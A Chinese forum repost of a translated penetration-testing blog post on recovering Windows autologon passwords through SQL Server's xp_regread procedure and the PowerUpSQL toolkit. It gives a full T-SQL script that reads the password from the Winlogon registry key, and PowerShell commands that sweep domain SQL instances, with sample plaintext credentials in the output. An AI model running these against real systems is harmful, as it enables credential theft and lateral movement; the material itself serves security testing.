设为首页 收藏本站
查看: 1009|回复: 0

[经验分享] 在SQL Server中通过PowerUpSQL获得Windows自动登录密码

[复制链接]

尚未签到

发表于 2018-10-21 06:06:02 | 显示全部楼层 |阅读模式
  原文:
  https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/
  
  在这篇博客中,我将展示如何使用PowerUpSQL通过SQL Serverd导出Windows自动登录密码。我也来谈谈xp_regread存储过程中的其他利用方式也可在***测试中使用。
  xp_regread简史
  从SQL Server2000后xp_regread扩展存储过程一直被使用,因为其原始版本允许以公共服务器角色的成员访问SQL Server服务帐户权限的几乎任何东西的。当时,它有一个非常大的影响,因为SQL Server以LocalSystem权限运行是常见的(译者注:很容易被提权)。自从SQL Server 2000 SP4发布之后,由于添加了一些访问控制,这有助于防止低权限的登录访问敏感的注册表位置,xp_regread的影响已经相当小,现在,未经授权的用户访问唯一的注册表位置都与SQLServer相关。对于您可以访问这些位置的列表https://support.microsoft.com/en-us/kb/887165
  下面是更有趣的访问路径中的几个:
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\SQLServer
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer
  HKEY_CURRENT_USER\Software\Microsoft\Mail HKEY_CURRENT_USER\ControlPanel\International
  xp_regread公共角色的实际用途
  即使是我们的双手被捆绑,xp_regread也可以用来获取不少有用的信息。事实上,作为最低权限登录时,我经常用它来抓取其它地方无法获取的服务器信息。例如,在PowerUpSQL中的Get-SQLServerInfo功能包括一些这些查询:
  PS C:\>Get-SQLServerInfo
  ComputerName           : SQLServer1
  Instance               : SQLServer1
  DomainName             : demo.local
  ServiceName            : MSSQLSERVER
  ServiceAccount         : NT Service\MSSQLSERVER
  AuthenticationMode     : Windows and SQL Server Authentication
  Clustered              : No
  SQLServerVersionNumber: 12.0.4213.0
  SQLServerMajorVersion  : 2014
  SQLServerEdition       : Developer Edition (64-bit)
  SQLServerServicePack   : SP1
  OSArchitecture         : X64
  OsMachineType          : WinNT
  OSVersionName          : Windows 8.1 Pro
  OsVersionNumber        : 6.3
  Currentlogin           : demo\user
  IsSysadmin             : Yes
  ActiveSessions         : 3
  在SQL ServerSP4中实现的访问控制限制并不适用于系统管理员。其结果是,任何SQL Server服务账户可以在注册表访问,一个系统管理员可以通过xp_regread访问。乍一看,这似乎不是什么大不了的事,但它确实让我们从注册表中的敏感数据,而不必使用xp_cmdshell存储过程,启用和使用xp_cmdshel会触发大量的告警。所以xp_regread实际上最终被用于基本的SQL Server开发任务后。
  使用xp_regread恢复Windows自动登录凭据
  配置Windows在计算机启动时自动登录这是可以实现的,虽然这不是在企业环境中的常见配置,这是我们在零售环境中经常看到的东西。特别是那些支持传统的POS终端和信息亭使用SQL服务器本地运行。在大多数情况下,当Windows配置为自动登录,加密的凭据存储在注册表项:
  HKEY_LOCAL_MACHINE SOFTWARE \Microsoft\WindowsNT\CURRENTVERSION \Winlogon
  利用这些信息,我们可以编写使用一个基本的TSQL脚本,通过xp_regread获取注册表的自动登录凭据,而无需使xp_cmdshell启用。下面就是一个TSQL脚本例子,但由于注册表路径不在允许列表上,我们必须作为一个系统管理员运行查询:
  -------------------------------------------------------------------------
  -- Get Windows AutoLogin Credentials from the Registry
  -------------------------------------------------------------------------
  -- Get AutoLoginDefault Domain
  DECLARE@AutoLoginDomain  SYSNAME
  EXECUTEmaster.dbo.xp_regread
  @rootkey            = N'HKEY_LOCAL_MACHINE',
  @key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
  @value_name              = N'DefaultDomainName',
  @value                         = @AutoLoginDomainoutput
  -- Get AutoLoginDefaultUsername
  DECLARE@AutoLoginUser  SYSNAME
  EXECUTEmaster.dbo.xp_regread
  @rootkey            = N'HKEY_LOCAL_MACHINE',
  @key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
  @value_name              = N'DefaultUserName',
  @value                         = @AutoLoginUser output
  -- Get AutoLoginDefaultUsername
  DECLARE@AutoLoginPassword  SYSNAME
  EXECUTEmaster.dbo.xp_regread
  @rootkey            = N'HKEY_LOCAL_MACHINE',
  @key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
  @value_name              = N'DefaultPassword',
  @value                         = @AutoLoginPasswordoutput
  -- Display Results
  SELECT@AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword
  我已经创建了一个名为“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函数,所以你可以直接运行它。它将获取默认的Windows自动登录信息和曾经设置过的Windows自动登录信息。然后,它返回相关的域名、用户名和密码。
  下面是那些感兴趣的一个命令示例。如果您对***隐蔽的SQL Server目标有兴趣,你可以挖掘这个博客(https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/):
  PS C:\> $Accessible =Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose-Threads 15| Where-Object {$_.Status –eq “Accessible”}
  PS C:\> $Accessible |Get-SQLRecoverPwAutoLogon -Verbose
  VERBOSE: SQLServer1.demo.local\Instance1 :Connection Success.
  VERBOSE: SQLServer2.demo.local\Application: Connection Success.
  VERBOSE: SQLServer2.demo.local\Application: This function requires sysadmin privileges. Done.
  VERBOSE: SQLServer3.demo.local\2014 :Connection Success.
  VERBOSE: SQLServer3.demo.local\2014 : Thisfunction requires sysadmin privileges. Done.
  ComputerName : SQLServer1
  Instance    : SQLServer1\Instance1
  Domain      : demo.local
  UserName    : KioskAdmin
  Password    : test
  ComputerName : SQLServer1
  Instance    : SQLServer1\Instance1
  Domain      : demo.local
  UserName    : kioskuser
  Password    : KioskUserPassword!
  总结
  即使xp_regread扩展存储过程已部分阉割,仍有许多方式,它可以被证明是有用的***测试和红队交战中。希望你能用“sqlserverinfo”、“sqlrecoverpwautologon”函数构建它的能力,更多注册表的乐趣将陆续提供,在此期间,祝你好运,并负责任!
  参考文章:
  https://support.microsoft.com/en-us/kb/887165
  https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx
  http://sqlmag.com/t-sql/using-t-sql-manipulate-registry


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-624197-1-1.html 上篇帖子: sql注入零散知识 下篇帖子: 一次非常有意思的sql优化经历
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表